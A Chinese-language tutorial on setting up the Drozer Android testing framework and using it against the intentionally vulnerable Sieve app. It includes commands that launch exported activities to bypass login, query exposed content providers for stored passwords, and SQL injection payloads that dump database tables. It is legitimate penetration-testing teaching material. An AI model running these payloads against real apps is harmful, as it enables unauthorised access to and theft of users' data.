0X00 简介

Drozer是一款针对Android的安全测试框架,分为安装在PC端的控制台、安装在终端上的代理APP两部分。可以利用APP的IPC通信,动态的发现被测试APP的安全风险。

0X01 安装

工具下载

https://labs.mwrinfosecurity.com/tools/drozer/

官网下载

安卓手机客户端apk(drozer-agent)

服务端(.msi)
下载安装包.png
测试apk(sieve)
测试app.png

adb工具下载

http://adbshell.com/downloads

环境

java Jdk1.6+

python2.7

python版本.png

环境

夜神模拟器分别安装客户端apk,测试apk(sevie)

Tips

drozer的安装路径需要安装在Python的安装路径下

报错

安装drozer启动时会有python模块的报错,需要对缺失的库进行安装。
一键安装

1
pip install protobuf pyOpenSSL twisted service_identity

如果安装失败,可以对各自的库进行安装

报错1、ImportError: No module named google.protobuf

模块确实google.protobuf.png

1
解决方法:pip install protobuf

报错2、ImportError: No module named OpenSSL

缺失模块openssl.png

1
解决方法:pip install pyOpenSSL

报错3、drozer Server requires Twisted to run.
Run ‘pip install twisted’ to fetch this dependency.

缺失模块twisted.png

1
解决方法:pip install twisted

警告:UserWarning: You do not have a working installation of the service_identity module: ‘No module named service_identity’. Please install it from https://pypi.python.org/pypi/service_identity and make sure all of its dependencies are satisfied.

1
解决方法:pip install service_identity

0X02 adb与夜神模拟器联动启动drozer

在模拟器的环境下,在模拟器的安装目录的bin目录下执行(建议将其添加环境变量)

1
2
3
nox_adb.exe connect 127.0.0.1:62001
或者
adb connect 127.0.0.1:62001

即可连接到模拟器,使用adb进行查看

1
adb devices

adb连接夜神模拟器.png

接下来在模拟器中打开drozer的客户端drozer agent

客户端appdrozer.png

进行端口转发,在真机的情况下,貌似是不需要进行端口转发的。

1
adb forward tcp:31415 tcp:31415

命令行打开drozer,若未加环境变量需要在python的Script目录下执行

1
drozer.bat console connect

输入list查看是否正常。如输入list无显示,关闭窗口重新连接即可(玄学)
list命令.png
可以使用help查看模块的使用方法。

help方法使用.png

1
help app.activity.start

至此Drozer的安装与连接完成。

0X03 Drozer的基础使用

Drozer的基本命令

列出模拟器设备中所有已经安装的App包列表
安装的app.png

1
run app.package.list

这里有个点就是会出现中文乱码的情况。
需要进行如下修改
C:\Python27\Lib\site-packages\drozer\modules\app
目录下修改package.py在355行左右如图红线上添加u
中文乱码解决.png

并在第一行添加如下代码。将默认编码修改为utf-8。

1
2
3
Import sys
reload(sys)
sys.setdefaultencoding('utf-8')

列举APP的详细信息

利用关键词“sieve”进行搜索得出包名:

关键词搜索包名.png

1
run app.package.list -f sieve

查看包的详细信息:

查看包信息.png

1
run app.package.info -a  com.mwr.example.sieve

包含的内容有:版本号,数据存放在手机上的路径,安装时关于应用程序允许的权限的详细信息

Drozer安全测试

查看sieve的可攻击点

探测可攻击点.png

1
run app.package.attacksurface com.mwr.example.sieve

在此,我们将只考虑通过Android的内置机制的进程间通信(IPC)暴露漏洞。这些漏洞通常导致敏感数据泄漏到安装在同一设备上的其他应用程序。

上面结果说明我们有很多潜在的问题,这个app上的 ‘exports’ 有的几个让其他应用程序可以访问的activities(应用程序使用的屏幕)、内容提供者(数据库对象)、服务(后台工作者)。同时有一点,该服务是可调试的,这意味着我们可以使用ADB逐步通过代码将调试器附加到进程

可导出的Activity

通过 app.activity.info 我们可以知道sieve哪些activity是可以导出的
app可调试activity.png

1
run app.activity.info -a com.mwr.example.sieve

从信息中可以看出第一个是选择文件的activity,第二个是启动登录的activity,第三个是密码列表的activity

依次启动这些activity

1
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity

选择文件界面弹出

选择文件界面.png

1
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.MainLoginActivity

登录界面弹出

登录主界面.png
1
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

在登录界面进行调起密码列表的界面会跳过登录(越权),直接进入app
密码列表界面.png

Tips:
若正常应用未正确配置,那么就会存在界面劫持的风险。可在一般app界面上尝试调用以上activity。调起后若app未进行任何提示或操作那么就可以判断该app存在界面劫持风险。(界面劫持测试app(Hijack))

从provider读取信息

1
run app.provider.info -a com.mwr.example.sieve

app提供者的信息.png

可以收集有关应用程序可导出的内容provider的更多信息。

Database-backed Content Providers (数据泄露)

drozer提供了一个扫描模块,它汇集了各种猜测路径,并列出了一个可访问的列表,可扫描出哪些。

1
run scanner.provider.finduris com.mwr.example.sieve

现在我们可以使用其他的drozer模块从这些内容URI中检索信息,甚至修改数据库中的数据。
(先在app中添加数据)

查询数据库中的信息:

1
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical

查询到数据库泄露的信息.png

Database-backed Content Providers (sql注入)

android平台促进使用SQLite数据库来存储用户数据。由于这些数据库使用SQL,对于SQL注入来说,它们很容易受到攻击,。通过操作传递到的投影和选择字段来测试SQL注入。

这里尝试传入一个单引号进行测试。

1
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"

数据库报错.png
Android返回一个非常冗长的错误消息,显示它试图执行的整个查询。我们可以充分利用这个漏洞来列出数据库中的所有表:

1
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --project "* FROM SQLITE_MASTER WHERE type='table';--"

sqlite查询所有的表.png
或查询其他受保护的表(查询key表的字段)

1
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM key;--"

查询信息3.png

检查Content Provider的脆弱性

内容provider对SQL注入和目录遍历都是脆弱的。drozer offers 模块自动测试这些漏洞的简单情况:
扫描模块对注入与目录遍历的扫描.png

1
run scanner.provider.injection -a com.mwr.example.sieve

0X04 小结

这是在做app业务渗透测试文档中使用的一款工具,当时使用较为吃力,所以花了两天的时间进行一个学习。这个工具的很多强大之处还暂时没有涉猎到,后面会慢慢的进行一个学习。